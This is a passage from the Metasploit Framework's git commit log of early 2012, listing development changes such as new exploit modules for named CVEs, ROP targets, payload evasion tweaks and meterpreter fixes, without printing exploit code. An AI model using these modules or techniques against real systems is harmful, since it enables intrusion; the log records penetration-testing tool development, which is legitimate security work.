[-] Auxiliary failed: URI::InvalidURIError bad URI(is not URI?): what%ever
[-] Call stack:
[-]   /home/todb/.rvm/rubies/ruby-1.9.1-p378/lib/ruby/1.9.1/uri/common.rb:156:in `split'
[-]   /home/todb/.rvm/rubies/ruby-1.9.1-p378/lib/ruby/1.9.1/uri/common.rb:174:in `parse'
[-]   /home/todb/.rvm/rubies/ruby-1.9.1-p378/lib/ruby/1.9.1/uri/common.rb:626:in `parse'
[-]   /home/todb/.rvm/rubies/ruby-1.9.1-p378/lib/ruby/1.9.1/uri/common.rb:724:in `URI'
[-]   /home/todb/git/rapid7/metasploit-framework/lib/msf/core/exploit/http/client.rb:535:in `target_uri'
[-]   /home/todb/.msf4/modules/auxiliary/test_uri.rb:20:in `run'
[*] Auxiliary module execution completed
```

And here's the new, Metasploit-specific one:

```
[-] Invalid URI: "what%ever"
[-] Auxiliary failed: Msf::OptionValidateError The following options failed to validate: URIPATH.
[*] Auxiliary module execution completed
```

The user can now tell easily what's wrong with the module configuration,
and doesn't have to parse through a stack trace that leads down into
the Ruby stdlib.
2012-03-10 10:58:16 -06:00
sinn3r b0e7c048c9 This module fits the GoodRanking description 2012-03-10 00:50:41 -06:00
sinn3r 710c66dbb0 Merge branch 'venom_opts' of https://github.com/kernelsmith/metasploit-framework into kernelsmith-venom_opts 2012-03-10 00:48:24 -06:00
sinn3r 1d5bad469c Add Windows 7 SP1 target 2012-03-10 00:11:25 -06:00
Joshua Smith 645f9b4f53 added -o,--options to list the options for a payload 2012-03-09 20:39:14 -05:00
sinn3r cc87ed8428 Remove weird error handling unless someone explains to me why I need to raise errors when it does already 2012-03-09 18:42:06 -06:00
sinn3r 0530eb4b09 Add target_uri 2012-03-09 14:44:32 -06:00
sinn3r 1ae779157d Disable Nops so we don't get an ugly crash after getting a shell 2012-03-08 18:56:58 -06:00
Tod Beardsley 8ab783d3d9 Replicating master's fixes to flash.
The Max Power way.
2012-03-08 17:00:58 -06:00
Tod Beardsley 1e4d4a5ba0 Removing EncoderType from flash module
Also not very useful
2012-03-08 16:57:41 -06:00
Tod Beardsley 302a42a495 Fixing up print statements
Dropping the ROP prints since they're not all that useful.
2012-03-08 16:56:44 -06:00
Tod Beardsley 1396fc19bd Fixup bad merge on flash mp4 2012-03-08 16:52:53 -06:00
Tod Beardsley 19aaed05c9 Title change on .mp4 to MP4
and that's all.
2012-03-08 16:51:43 -06:00
sinn3r cb04e47304 Attempt #2: there's no cli in get_payload 2012-03-08 16:47:49 -06:00
sinn3r 3563fe1b36 The encoder "issue" was just a misconfig on my side. Also there's no cli in get_payload. 2012-03-08 16:41:32 -06:00
sinn3r fee2e1eff9 Minor spray size change 2012-03-08 16:19:51 -06:00
HD Moore 12395c719f Remove debugging code 2012-03-08 16:16:42 -06:00
HD Moore c8c73b076d Permisssions (ignore) 2012-03-08 16:16:13 -06:00
HD Moore 87274987c1 Remove the now obsolete text about SWF_PLAYER 2012-03-08 16:16:13 -06:00
HD Moore 28a58a39c2 Propagate the job_id back to the caller (often console's active_module)
to restore job handling
2012-03-08 16:14:52 -06:00
sinn3r 181fdb7365 A small title change 2012-03-08 16:10:16 -06:00
HD Moore 6b00848688 Propagate the job_id back to the caller (often console's active_module)
to restore job handling
2012-03-08 16:01:32 -06:00
HD Moore 0c70586625 Merge branch 'mp4-player' 2012-03-08 15:47:25 -06:00
HD Moore 1271368b6f Redirect to a trailing slash to make sure relative resources load
properly
2012-03-08 15:37:06 -06:00
HD Moore 3e6cbe9486 Add source code to the player 2012-03-08 15:23:10 -06:00
James Lee 090674386f Tell the user when we have to switch from a deleted workspace 2012-03-08 14:08:38 -07:00
HD Moore b0db18674c Test out new player code 2012-03-08 15:05:12 -06:00
James Lee b79e79022a Add a rename option to workspace command
[Fixes #6498]
2012-03-08 13:44:31 -07:00
HD Moore eb847a3dfb Add a nicer prefix to the target selection message 2012-03-08 13:46:14 -06:00
David Maloney 795a40218e Addresses a race condition with checking a scanner's status before it's run method has executed. 2012-03-08 13:18:02 -06:00
David Maloney 67c7971bdf Addresses a race condition with checking a scanner's status before it's run method has executed. 2012-03-08 13:07:03 -06:00
Tod Beardsley 5b566b43b4 Catching an update from @hdmoore-r7
wrt the nuclear option.
2012-03-08 12:08:39 -06:00
sinn3r edb3f19c12 A little more padding for Win Vista target 2012-03-08 12:04:04 -06:00
Tod Beardsley 97ba37f0c0 Adding compiled SWF as well.
Dammit
2012-03-08 12:03:51 -06:00
Tod Beardsley 18962e1180 Checking in the new Flash exploit to the release
Using the checkout master directly:

 git checkout master external/source/exploits/CVE-2012-0754/Exploit.as
 git checkout master
modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb
2012-03-08 11:55:01 -06:00
Jonathan Cran 046857f3ab Merge branch 'release/2012030701' of r7.github.com:rapid7/metasploit-framework into release/2012030701 2012-03-08 10:23:46 -06:00
HD Moore 188f5c111c Simplify the module instance (required to call certain methods) 2012-03-08 10:22:32 -06:00
HD Moore f0685e4a1f Overwrite the local datastore with the normalized option, even if it
came from a global datastore due to a fall-through
2012-03-08 10:22:18 -06:00
HD Moore 36240b6fe4 Revert the previous global fix in favor of a different method.
Fixes #6501
2012-03-08 10:22:07 -06:00
HD Moore a6053b1ec3 Always clone modules before running them via the simplified wrappers.
This prevents changes to the datastore or instance variables from
being carried over into a second run
2012-03-08 10:21:00 -06:00
HD Moore 86fc45810b Remove the resource during cleanup 2012-03-07 23:04:53 -06:00
HD Moore b4e0daf3ca Small tweaks to the adobe mp4 exploit 2012-03-07 22:53:47 -06:00
James Lee 8d93e3ad44 Actually use the password we were given... 2012-03-08 10:17:39 -07:00
David Maloney 9d343ea1c1 Fix to dividie by zero issue in scannenr progress method 2012-03-08 11:03:33 -06:00
sinn3r 7ddd173b40 Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-03-08 00:47:06 -06:00
sinn3r 9ece7b08fc Add vendor's advisory as a reference 2012-03-08 00:46:34 -06:00
sinn3r c63bc27c4b Merge pull request #223 from rsmudge/armitage
Armitage 03.08.12
2012-03-07 22:45:52 -08:00
sinn3r 5f92bff697 Make sure no encoder will break the exploit again 2012-03-08 00:44:57 -06:00
sinn3r 2e94b97c82 Fix description 2012-03-07 23:59:51 -06:00
Raphael Mudge f07be8b7de Armitage 03.08.12
-----------------
Added support for meterpreter's session_host value (allows armitage to associate session w/
a host, even if it's behind a NAT). Armitage also chooses an IPv6 payload when attacking an
IPv6 host.
2012-03-07 20:43:07 -05:00
Tod Beardsley 57376a976d Fixes descriptions on new modules.
Fixing up grammar and removing some editorial verbiage.
2012-03-07 09:18:47 -06:00
HD Moore 761f859695 Simplify the module instance (required to call certain methods) 2012-03-07 07:59:41 -06:00
HD Moore 5054840165 Overwrite the local datastore with the normalized option, even if it
came from a global datastore due to a fall-through
2012-03-07 07:37:36 -06:00
HD Moore b89af3546d Revert the previous global fix in favor of a different method.
Fixes #6501
2012-03-07 07:37:36 -06:00
HD Moore 9975d5a220 Always clone modules before running them via the simplified wrappers.
This prevents changes to the datastore or instance variables from
being carried over into a second run
2012-03-07 07:37:36 -06:00
sinn3r d9788db7bb Merge pull request #222 from jduck/master
Fixes #6483
2012-03-07 18:11:48 -08:00
sinn3r 0550b77522 Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-03-07 20:04:04 -06:00
sinn3r 3b4ed13aee Fix typo 2012-03-07 20:03:46 -06:00
Tod Beardsley 33460b6bf4 Fixups on the Adobe Flash exploit description
Massaged the lines about the phishing campagin use in the wild.
2012-03-07 19:37:49 -06:00
sinn3r befb60217c Add CVE-2012-0754 .as source 2012-03-07 19:25:51 -06:00
sinn3r c76f43c066 Add CVE-2012-0754: Adobe Flash Player MP4 cprt overflow 2012-03-07 19:24:00 -06:00
sinn3r f2eab70c3f Add swf file for CVE-2012-0754 2012-03-07 19:23:11 -06:00
Tod Beardsley f97dc8dee7 Fix spelling of the IBM product iSeries
Was I-Series.
2012-03-07 15:24:15 -06:00
sinn3r 7dfba9c00d Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-03-07 14:51:39 -06:00
sinn3r 0ee7788028 Add a check to detect the vulnerable version of Sysax SSH 2012-03-07 14:51:21 -06:00
Joshua J. Drake ab01a19f92 Fixes #6483: Correct the include for the handler (was copypasta) 2012-03-07 11:23:44 -06:00
Tod Beardsley ba2bf194fd Fixes descriptions on new modules.
Fixing up grammar and removing some editorial verbiage.
2012-03-07 09:17:22 -06:00
James Lee 02ea38516f Add a check method for tomcat_mgr_deploy 2012-03-06 23:22:44 -07:00
James Lee 806a3c01b7 Wrap Windows-specifc headers in ifdef 2012-03-06 15:34:09 -07:00
James Lee d99df825b3 Handle multiple addrs on one iface on the ruby side 2012-03-06 14:36:34 -07:00
James Lee 6b9a21936e Whitespace at EOL 2012-03-06 14:14:02 -07:00
James Lee 2b9acb61ad Clean up some incosistent verbosity
Modules should use `vprint_*` instead of `print... if
datastore["VERBOSE"]` or similar constructs
2012-03-06 12:01:20 -07:00
sinn3r 003fa3e22c Apply patch for #6495 2012-03-06 11:43:28 -06:00
sinn3r 22a12a6dfc Add Lotus CMS exploit (OSVDB-75095) 2012-03-06 11:36:28 -06:00
HD Moore 8cbe5d8a54 Force many integer arguments to be integers 2012-03-06 09:28:29 -06:00
HD Moore 99177e9d5e Small commit to fix bad reference and old comment 2012-03-06 01:44:26 -06:00
Willis Vandevanter 461a59e28d modified description and lowered the number of required requests 2012-03-06 00:48:54 -05:00
Willis Vandevanter 0f17bbdfdd squid pivot scanning module 2012-03-06 00:30:30 -05:00
James Lee 085b3b5640 Adds IPv6 addrs to win32 get_interfaces response 2012-03-05 21:57:39 -07:00
Tod Beardsley 7f9880a1fc Fixes whitespace on linux shellcode from @mak
Also repairs some weirdly broken comment.

[Closes #131]
2012-03-05 16:59:37 -06:00
Tod Beardsley 9e380d9e88 Merge remote branch 'mak/payload-linux-x64' into l64 2012-03-05 14:58:24 -06:00
James Lee 78d84d9472 A few more author typos 2012-03-05 13:50:03 -07:00
James Lee 22eb1e2dce Module author typo 2012-03-05 13:50:03 -07:00
James Lee e14a574c36 Fix a couple of typos that throw off module authors 2012-03-05 13:50:03 -07:00
Tod Beardsley e014e9a5c3 Fix up notes search implementation
Uses delete_if and a negative assertion, rather than the (much nicer but
unavailable) keep_if method.
2012-03-05 13:50:02 -07:00
Tod Beardsley b847d48927 Tidies up sempervictus's search patch
Affects the console's db commands of hosts, services, vulns, creds, notes,
loot

Skips searching entirely unless a search term is provided, and
explicitly casts the term as a Regexp object from the outset.

Avoids using Object#to_sym in preference of Object#intern (safer in
nearly all cases)

Temporarily disables functionality on notes since Array#keep_if isn't
available prior to Ruby 1.9.2
2012-03-05 13:50:02 -07:00
RageLtMan 3270976d7b Search functionality for db dispatcher commands 2012-03-05 13:50:02 -07:00
sinn3r aab493259f Port should not contain a non-numeric value or even empty when assigned to :port 2012-03-05 13:50:02 -07:00
Gregory Man ba34fbac46 afp_server_info fixes and improvements
1.9 compatibility, timeouts, reporting
2012-03-05 13:50:02 -07:00
Gregory Man 4f05f4e03f Added auxiliary/scanner/afp/afp_server_info module 2012-03-05 13:50:02 -07:00
James Lee 70162fde73 A few more author typos 2012-03-05 13:28:46 -07:00
James Lee 82c23e95d3 Module author typo 2012-03-05 13:28:46 -07:00
James Lee 3a33434867 Fix a couple of typos that throw off module authors 2012-03-05 13:28:46 -07:00
Tod Beardsley 43c84483dc Merge in db console commands for search
Incorporates search option from @sempervictus , fixing a couple issues
along the way. This resolves Redmine issue #6185.

[Closes #107]
2012-03-05 13:41:02 -06:00
Tod Beardsley 85d1b77ed3 Fix up notes search implementation
Uses delete_if and a negative assertion, rather than the (much nicer but
unavailable) keep_if method.
2012-03-05 13:40:26 -06:00
Tod Beardsley a957c45daf Tidies up sempervictus's search patch
Affects the console's db commands of hosts, services, vulns, creds, notes,
loot

Skips searching entirely unless a search term is provided, and
explicitly casts the term as a Regexp object from the outset.

Avoids using Object#to_sym in preference of Object#intern (safer in
nearly all cases)

Temporarily disables functionality on notes since Array#keep_if isn't
available prior to Ruby 1.9.2
2012-03-05 13:40:26 -06:00
RageLtMan fb475ca49c Search functionality for db dispatcher commands 2012-03-05 13:40:26 -06:00
sinn3r afd1af6377 Merge branch 'apf-info' of https://github.com/gregory-m/metasploit-framework into gregory-m-apf-info 2012-03-05 11:18:23 -06:00
sinn3r 1005de0523 Port should not contain a non-numeric value or even empty when assigned to :port 2012-03-05 11:10:16 -06:00
James Lee cd990917be Don't distinguish between 4 and 6.
The client can figure it out from the length.
2012-03-05 09:10:47 -07:00
James Lee c81dce2013 Append to the list instead of assigning to it
All addresses are being sent to the client now.  Just need a way to
parse them out correctly on the other side and meterpreter will be able
to list all addresses on all interfaces on Linux.  Next step is to
allocate the proper number of TLVs to avoid good ol' stack smashes on
systems with lots of addresses and then make sure we clean all the
memory leaks.

[See #6476]
2012-03-05 09:10:47 -07:00
James Lee cb998b91e5 Lay the groundwork for returning all addresses
This commit only sends the last interface in the list, but it is looping
through all of them as evidenced by the log, just need to make sure
we're not overwriting as we go.

[See #6476]
2012-03-05 09:10:46 -07:00
Gregory Man 6726f07dbc afp_server_info fixes and improvements
1.9 compatibility, timeouts, reporting
2012-03-05 14:57:59 +02:00
HD Moore cea4529f5e Add an example of preconfigured proxy stager 2012-03-05 00:59:47 -06:00
Gregory Man d9f0453ee9 Added auxiliary/scanner/afp/afp_server_info module 2012-03-02 21:58:40 +02:00
James Lee 65c0cbdc00 Allow tab completion for resource files in current dir 2012-03-02 11:19:46 -07:00
Tod Beardsley faad9db393 Merge branch 'wmap_update'
Fixed up a few merge conflicts, tested against metasploitable, looks
functional. Thanks Efraim!

[Closes #154]
2012-03-02 10:25:31 -06:00
Tod Beardsley 7447052b38 Convert WMAP constant name to the new format. 2012-03-02 10:18:32 -06:00
Tod Beardsley 302853f5a4 Unpolluting SVN Revision keyword
Sometimes Revision keywords get expanded, too. Fix those.
2012-03-02 10:18:32 -06:00
Tod Beardsley 3626d48db2 Un-polluting SVN Id keyword
Sometimes the SVN Id keyword sneaks back into the github repo already
expanded.
2012-03-02 10:18:32 -06:00
Efrain Torres 36a3341acd Fix body cero. 2012-03-02 10:18:32 -06:00
Efrain Torres 6fba0698e5 Adding another detection method for blind sqli 2012-03-02 10:18:32 -06:00
Efrain Torres 02f6e3fcb2 Improving report on blind sqli module 2012-03-02 10:18:32 -06:00
Efrain Torres 126a6133cd Improving blind sql inj. detection 2012-03-02 10:18:32 -06:00
Efrain Torres b608aeeeb7 Migrating modules to use report_web_vulns and minor fixes 2012-03-02 10:18:32 -06:00
Efrain Torres 8909ad12ba Add the db_import command to the wmap documentation. 2012-03-02 10:18:32 -06:00
Efrain Torres 627a4bcb72 Adding new wmap_vulns command to documentation and minor fixes 2012-03-02 10:18:32 -06:00
Efrain Torres 21c6da5e12 Added wmap_vuln to see web_vulns table results. Basic reporting at this time. 2012-03-02 10:18:32 -06:00
Efrain Torres 1a09a49f69 Starting getting rid of report_note to use report_web_vuln on all http aux modules 2012-03-02 10:18:32 -06:00
Efrain Torres 2ce7dc9331 One more module. 2012-03-02 10:18:32 -06:00
Efrain Torres 9c6fec3c33 First step on module cleaning. 2012-03-02 10:18:32 -06:00
Efrain Torres 237038dca4 Adjust documentation. 2012-03-02 10:18:32 -06:00
Efrain Torres 4b412dc9e1 Minor fixes on view nodes jobs. 2012-03-02 10:18:32 -06:00
Efrain Torres 6437181542 Added job.info as part of nodes jobs details 2012-03-02 10:18:31 -06:00
Efrain Torres d35291d1bc Handle site tree leafs as directories if dont have extension 2012-03-02 10:18:31 -06:00
Efrain Torres eaecdb487c Fix sname in report_ calls to check the use of ssl and report http or
https
2012-03-02 10:18:31 -06:00
Efrain Torres 6d80aa0a44 Renaming duh. 2012-03-02 10:18:31 -06:00
Efrain Torres 3cb65e24a1 Fix blind sqli module description and bug with http_method 2012-03-02 10:18:31 -06:00
Efrain Torres 6938b91d07 Execute tests agains a specific path and bug fix in blind sqli module 2012-03-02 10:18:31 -06:00
Efrain Torres a780dc0c14 Wmap 1.5 documentation 2012-03-02 10:18:31 -06:00
Efrain Torres a2e5a4d9d5 New wmap version 1.5. Plugin and mixin changes. Modules edited to adjust to naming convention 2012-03-02 10:18:31 -06:00
sinn3r 8f30e5548c Fix bug: "TypeError can't convert nil into String" when fd.read can be nil 2012-03-02 02:18:07 -06:00
sinn3r 67f788768d Fix tabs 2012-03-01 22:31:08 -06:00
sinn3r fd2d9ae0ea Add MP4 file generating function. Update the description regarding exploit usage. 2012-03-01 22:24:35 -06:00
sinn3r b1b2ec2c7d Merge branch 'CVE-2008-5036_vlc_realtext' of https://github.com/juanvazquez/metasploit-framework into juanvazquez-CVE-2008-5036_vlc_realtext 2012-03-01 21:13:33 -06:00
James Lee 3c4c500544 Add a few more meterpreter API tests 2012-03-01 19:21:34 -07:00
sinn3r 8bad0033d3 Update description 2012-03-01 19:16:29 -06:00
sinn3r 0bc26c1665 Add CVE-2009-4656: DJ Studio .pls buffer overflow 2012-03-01 19:09:25 -06:00
sinn3r 323e58d944 Merge pull request #213 from rsmudge/armitage
Armitage 03.02.12
2012-03-01 16:32:39 -08:00
sinn3r d06848ba56 Default to token impersonation before migrating to a different process 2012-03-01 18:31:33 -06:00
Raphael Mudge e564282ddc fix armitage pivoting/arp scan tools to work with updated meterpreter route output 2012-03-01 18:35:05 -05:00
James Lee 9bac806cdb Add some simple meterpreter API tests 2012-03-01 16:30:37 -07:00
James Lee 4f2fd918e4 Only add a Content-Type when it's not nil
Makes it possible to create MIME parts for non-file POST parameters when
sending a file.
2012-03-01 16:28:55 -07:00
sinn3r 687c50d0cd Indent level fix 2012-03-01 16:14:29 -06:00
juan f1a6d8f535 Added exploit module for CVE-2008-5036 2012-03-01 23:06:40 +01:00
sinn3r 5a5e5eab95 Add msvcrt ROP target for IE8 2012-03-01 15:23:41 -06:00
sinn3r 1bc99646e7 Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-03-01 15:14:05 -06:00
sinn3r 32a4f1149e Merge pull request #211 from swtornio/master
osvdb ref updates
2012-03-01 09:39:21 -08:00
Steve Tornio 2d802750e3 fix osvdb ref 2012-03-01 08:07:11 -06:00
Steve Tornio 256fee3626 add osvdb ref 2012-03-01 08:06:53 -06:00
sinn3r a32bcc44f2 Merge branch 'post-apple-ios-backup-osx-fix' of https://github.com/gregory-m/metasploit-framework 2012-03-01 00:43:17 -06:00
James Lee be65f421f7 New Java meterpreter bins for adding MTU 2012-02-29 20:31:56 -07:00
James Lee fbc8e25aaa Add the new stdapi/net TLVs to java 2012-02-29 20:31:12 -07:00
James Lee 14dfcce63a Add the MTU when it's available
This doesn't work on 1.4, but I'm not Java-savvy enough to figure out
how to only compile it for 1.4, so do a ghetto try-catch block in case
the method doesn't exist.
2012-02-29 20:30:03 -07:00
James Lee bde9a846b9 Default the index to -1
This prevents stack traces on Java which doesn't provide the index.
2012-02-29 20:27:10 -07:00
James Lee 8380d0e9e0 No need to set the driver anymore
Fixes a ridiculous stack trace when connecting with a yaml file.
2012-02-29 15:47:45 -07:00
sinn3r e9df9d6c2c Increase default depth 2012-02-29 16:24:18 -06:00
sinn3r aacf9d2050 Add a check to be more aware of the fact a database might not be connected 2012-02-29 16:21:46 -06:00
Tod Beardsley 4369f73c7a Msftidy fixes on new modules
Dropped a cryptic year reference from jducks' java module, found a
spurious space in thelightcosine's telnet module.
2012-02-29 10:42:43 -06:00
sinn3r 73ba8aca60 Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-02-29 10:14:11 -06:00
sinn3r 74cdb5dabc It's a two-space tab, not one space. OMG. 2012-02-29 10:13:29 -06:00
James Lee f5e2d1c19b Grevious typo causing load_session_info failure
That's the problem with rescue ::Exception, it catches crap like this
and it takes a while before anyone notices. =(
2012-02-29 08:14:02 -07:00
m-1-k-3 605f62f2aa aditions to wmap_autotest 2012-02-29 15:34:05 +01:00
James Lee 4a5d7debd5 Add the usleep back in
MM convinced me.
2012-02-29 02:20:23 -07:00
Gregory Man eaf41769ed Fixed gather/apple_ios_backup to work with OSX
Also moved it to post/multi/gather
2012-02-29 10:31:26 +02:00
HD Moore de9b35d7b0 Fixes #6485 by allowing validation to write back normalized values to
global. This isn't perfect, but we have no better solution unless we
clone the module datastore and unset the default imported_by for the
module run (actively testing that too in a branch)
2012-02-29 01:49:26 -06:00
HD Moore 7b40d8d819 Allow updates to fallthrough to the global store just like reads 2012-02-29 01:40:54 -06:00
sinn3r 278f394552 Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-02-29 01:37:36 -06:00
sinn3r 6321ff7cb4 Change output message 2012-02-29 01:36:38 -06:00
sinn3r bc8480715f Add references to metadata. Do report_auth_info() when a credential is found. Plus other minor changes. 2012-02-29 01:32:21 -06:00
sinn3r 4290c2e569 Merge pull request #206 from rsmudge/armitage
Armitage 02.29.12
2012-02-28 22:17:13 -08:00
HD Moore 4c39cfd98a Small tweak to the format of the type 2012-02-28 23:52:48 -06:00
sinn3r 4b1e67f94f Add ROP target for Win2k3 SP1 and SP2 2012-03-04 17:18:34 -06:00
sinn3r 29cf8683ee Merge pull request #218 from swtornio/master
add osvdb ref
2012-03-03 16:27:34 -08:00
Steve Tornio 8f93a5abbb add osvdb ref 2012-03-03 12:28:30 -06:00
sinn3r fa916d863d Add Sysax SSH buffer overflow exploit 2012-03-03 10:11:51 -06:00
James Lee 9f05562a18 Don't distinguish between IPv4 and IPv6 routes
It's easier to deal with one Array of all routes regardless of INET
family than having get_routes() return a two-element Array of Arrays.
Also fixes a bug in each_route() which was expecting get_routes() to
return a single Array of all routes. Thanks to valsmith for reporting.
2012-03-02 18:26:57 -07:00
James Lee c44c0ebf48 Refactor ModuleTest and add a few more tests
This makes running tests from a post module as easy as creating methods
that start with +test_+ and running +it()+ blocks inside them.
2012-03-02 17:56:40 -07:00
Tod Beardsley 6c0f8636ec Merge pull request #217 from rapid7/reverse-http-randomness
Reverse http randomness
2012-03-02 16:36:26 -08:00
HD Moore 165257db75 Remove unused "plus" code 2012-03-02 17:46:59 -06:00
HD Moore b70b41091b Tested fairly well - this randomizes the URLs and removes the user-agent string from the request 2012-03-02 17:44:23 -06:00
HD Moore ce94ffd755 First round of changes to http(s) payloads 2012-03-02 17:13:51 -06:00
sinn3r 9258cda144 Change :info and file name so it's easier to identify it's a Firefox profile 2012-03-02 16:45:42 -06:00
James Lee a02ab0ab0c Add a few more tests for meterpreter 2012-03-02 15:31:01 -07:00
Tod Beardsley 96e03d2556 Merge pull request #44 from linuxgeek247/armle-bind-shell
Adding armle bind shellcode based on existing reverse shellcode
2012-03-02 14:25:43 -08:00
James Lee 9e2a1b6d52 Allow channel -k as a synonym for -c
Makes it consistent with "jobs", "sessions", and "threads" commands in
msfconsole.  Because I keep using the wrong thing and being confused
about why it doesn't work.
2012-03-02 15:11:00 -07:00
James Lee 884550ce7c Fix undefined constant bug in session.fs.seek
How did this ever work?  Clearly nothing exercises this code.
2012-03-02 14:43:00 -07:00
Tod Beardsley cf18bcc99e Merge pull request #215 from rapid7/msfgui-bail-without-msgpack
Try to load msgpack first, if it's not there, bail
2012-03-02 12:56:50 -08:00
James Lee 368cb13728 And the updated bin 2012-03-02 13:19:00 -07:00
James Lee 2d0d7b4470 777 is not the same as 0777
Fixes a bug where meterpreter created directories with absurd
permissions on posix (777 = 01411 = dr----x--t).
2012-03-02 13:16:52 -07:00
Tod Beardsley 4dce560e72 Try to load msgpack first, if it's not there, bail
And tell the user how to fix. This has come up a couple times.
2012-03-02 12:20:29 -06:00
James Lee f3e0b46e5c Post mods should use session_host when reporting
target_host probably never worked anyway
2012-02-28 18:40:17 -07:00
James Lee 624e19fd8b Merge session-host-rework branch back to master
Squashed commit of the following:

commit 2f4e8df33c5b4baa8d6fd67b400778a3f93482aa
Author: James Lee <egypt@metasploit.com>
Date:   Tue Feb 28 16:31:03 2012 -0700

    Clean up some rdoc comments

    This adds categories for the various interfaces that meterpreter and
    shell sessions implement so they are grouped logically in the docs.

commit 9d31bc1b35845f7279148412f49bda56a39c9d9d
Author: James Lee <egypt@metasploit.com>
Date:   Tue Feb 28 13:00:25 2012 -0700

    Combine the docs into one output dir

    There's really no need to separate the API sections into their own
    directory.  Combining them makes it much easier to read.

commit eadd7fc136a9e7e4d9652d55dfb86e6f318332e0
Author: James Lee <egypt@metasploit.com>
Date:   Tue Feb 28 08:27:22 2012 -0700

    Keep the order of iface attributes the same accross rubies

    1.8 doesn't maintain insertion order for Hash keys like 1.9 does so we
    end up with ~random order for the display with the previous technique.
    Switch to an Array instead of a Hash so it's always the same.

commit 6f66dd40f39959711f9bacbda99717253a375d21
Author: James Lee <egypt@metasploit.com>
Date:   Tue Feb 28 08:23:35 2012 -0700

    Fix a few more compiler warnings

commit f39cb536a80c5000a5b9ca1fec5902300ae4b440
Author: James Lee <egypt@metasploit.com>
Date:   Tue Feb 28 08:17:39 2012 -0700

    Fix a type-safety warning

commit 1e52785f38146515409da3724f858b9603d19454
Author: James Lee <egypt@metasploit.com>
Date:   Mon Feb 27 15:21:36 2012 -0700

    LHOST should be OptAddress, not OptAddressRange

commit acef978aa4233c7bd0b00ef63646eb4da5457f67
Author: James Lee <egypt@metasploit.com>
Date:   Sun Feb 26 17:45:59 2012 -0700

    Fix a couple of warnings and a typo

commit 29d87f88790aa1b3e5db6df650ecfb3fb93c675b
Author: HD Moore <hdm@digitaloffense.net>
Date:   Mon Feb 27 11:54:29 2012 -0600

    Fix ctype vs content_type typo

commit 83b5400356c47dd1973e6be3aa343084dfd09c73
Author: Gregory Man <man.gregory@gmail.com>
Date:   Sun Feb 26 15:38:33 2012 +0200

    Fixed scripts/meterpreter/enum_firefox to work with firefox > 3.6.x

commit 49c2c80b347820d02348d694cc71f1b3028b4365
Author: Steve Tornio <swtornio@gmail.com>
Date:   Sun Feb 26 07:13:13 2012 -0600

    add osvdb ref

commit e18e1fe97b89c3a2b8c22bc6c18726853d2c2bee
Author: Matt Andreko <mandreko@gmail.com>
Date:   Sat Feb 25 18:02:56 2012 -0500

    Added aspx target to msfvenom.  This in turn added it to msfencode as well.
    Ref: https://github.com/rapid7/metasploit-framework/pull/188
    Tested on winxp with IIS in .net 1.1 and 2.0 modes

commit e6aa5072112d79bbf8a4d2289cf8d301db3932f5
Author: Joshua J. Drake <github.jdrake@qoop.org>
Date:   Sat Feb 25 13:00:48 2012 -0600

    Fixes #6308: Fall back to 127.0.0.1 when SocketError is raised from the resolver

commit b3371e8bfe
Author: James Lee <egypt@metasploit.com>
Date:   Tue Feb 28 17:07:42 2012 -0700

    Simplify logic for whether an inner iface has the same address

commit 5417419f35
Author: James Lee <egypt@metasploit.com>
Date:   Tue Feb 28 16:58:16 2012 -0700

    Whitespace

commit 9036875c29
Author: James Lee <egypt@metasploit.com>
Date:   Tue Feb 28 16:53:45 2012 -0700

    Set session info before worrying about address

    get_interfaces can take a while on Linux, grab uid and hostname earlier
    so we can give the user an idea of what they popped as soon as possible.

commit f34b51c629
Author: James Lee <egypt@metasploit.com>
Date:   Tue Feb 28 16:48:42 2012 -0700

    Clean up rdoc

commit e61a066345
Author: HD Moore <hd_moore@rapid7.com>
Date:   Tue Feb 28 04:54:45 2012 -0600

    Ensure the architecture is only the first word (not the full WOW64
    message in some cases)

commit 4c70161097
Author: HD Moore <hd_moore@rapid7.com>
Date:   Tue Feb 28 04:49:17 2012 -0600

    More paranoia code, just in case RHOST is set to whitespace

commit c5ff89fe3d
Author: HD Moore <hd_moore@rapid7.com>
Date:   Tue Feb 28 04:47:01 2012 -0600

    A few more small bug fixes to handle cases with an empty string target
    host resulting in a bad address

commit 462d0188a1
Author: HD Moore <hd_moore@rapid7.com>
Date:   Tue Feb 28 03:55:10 2012 -0600

    Fix up the logic (reversed by accident)

commit 2b2b0adaec
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Feb 27 23:29:52 2012 -0600

    Automatically parse system information and populate the db, identify and
    report NAT when detected, show the real session_host in the sessions -l
    listing

commit 547a4ab4c6
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Feb 27 22:16:03 2012 -0600

    Fix typo introduced

commit 27a7b7961e
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Feb 27 22:11:38 2012 -0600

    More session.session_host tweaks

commit e447302a1a
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Feb 27 22:08:20 2012 -0600

    Additional tunnel_peer changes

commit 93369fcffa
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Feb 27 22:06:21 2012 -0600

    Additional changes to session.session_host

commit c3552f66d1
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Feb 27 22:00:19 2012 -0600

    Merge changes into the new branch
2012-02-28 18:29:39 -07:00
Raphael Mudge 4adbb88078 Armitage 02.29.12
--------
This update adds an icon for VMWare ESX/ESXi systems, improves the token stealing UX, and improves the file
browser's responsiveness.
2012-02-28 20:19:17 -05:00
sinn3r af4551d8dc Merge branch 'auxiliary-scanner-mongodb' of https://github.com/gregory-m/metasploit-framework into gregory-m-auxiliary-scanner-mongodb 2012-02-28 19:07:21 -06:00
sinn3r 986807e525 Add CVE-2012-0201 IBM Personal Communications .ws buffer overflow 2012-02-28 19:01:54 -06:00
sinn3r 5560087006 Add OSVDB 79438 Asus Net4Switch ActiveX Buffer Overflow 2012-02-28 18:58:28 -06:00
James Lee 46fef357f4 Clean up some rdoc comments
This adds categories for the various interfaces that meterpreter and
shell sessions implement so they are grouped logically in the docs.
2012-02-28 16:31:03 -07:00
James Lee 48222b35bc Combine the docs into one output dir
There's really no need to separate the API sections into their own
directory.  Combining them makes it much easier to read.
2012-02-28 13:00:25 -07:00
James Lee db88145294 Keep the order of iface attributes the same accross rubies
